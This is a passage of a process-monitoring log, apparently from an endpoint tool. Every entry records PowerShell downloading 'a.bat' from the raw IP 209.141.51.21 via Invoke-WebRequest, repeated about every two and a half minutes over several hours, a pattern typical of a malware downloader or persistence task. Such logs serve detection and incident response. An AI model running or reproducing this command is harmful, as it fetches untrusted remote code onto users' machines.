C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:03:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:06:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:08:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:11:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:13:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:16:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:18:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:21:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:23:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:26:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:28:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:31:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:33:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:36:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:38:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:41:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:43:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:46:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:48:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:51:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:53:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:56:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:58:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:01:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:03:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:06:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:08:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:11:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:13:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:16:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:18:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:21:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:23:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:26:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:28:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:31:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:33:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:36:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:38:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:41:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:43:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:46:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:48:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:51:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:53:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:56:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 14:58:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:01:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:03:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:06:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:08:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:11:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:13:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:16:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:18:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:21:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:23:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:26:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:28:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:31:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:33:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:36:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:38:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:41:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:43:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:46:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:48:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:51:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:53:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:56:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 15:58:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:01:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:03:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:06:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:08:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:11:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:13:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:16:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:18:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:21:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:24:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:26:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:29:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:31:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:34:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:36:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:39:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:41:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:44:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:46:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:49:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:51:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:54:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:56:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 16:59:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:01:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:04:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:06:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:09:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:11:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:14:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:16:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:19:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:21:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:24:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:26:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:29:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:31:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:34:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:36:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:39:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:41:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:44:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:46:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:49:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:51:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:54:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:56:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 17:59:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:01:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:04:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:06:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:09:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:11:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:14:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:16:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:19:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:21:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:24:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:26:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:29:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:31:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:34:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:36:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:39:10 NOTIFY: PROCESS 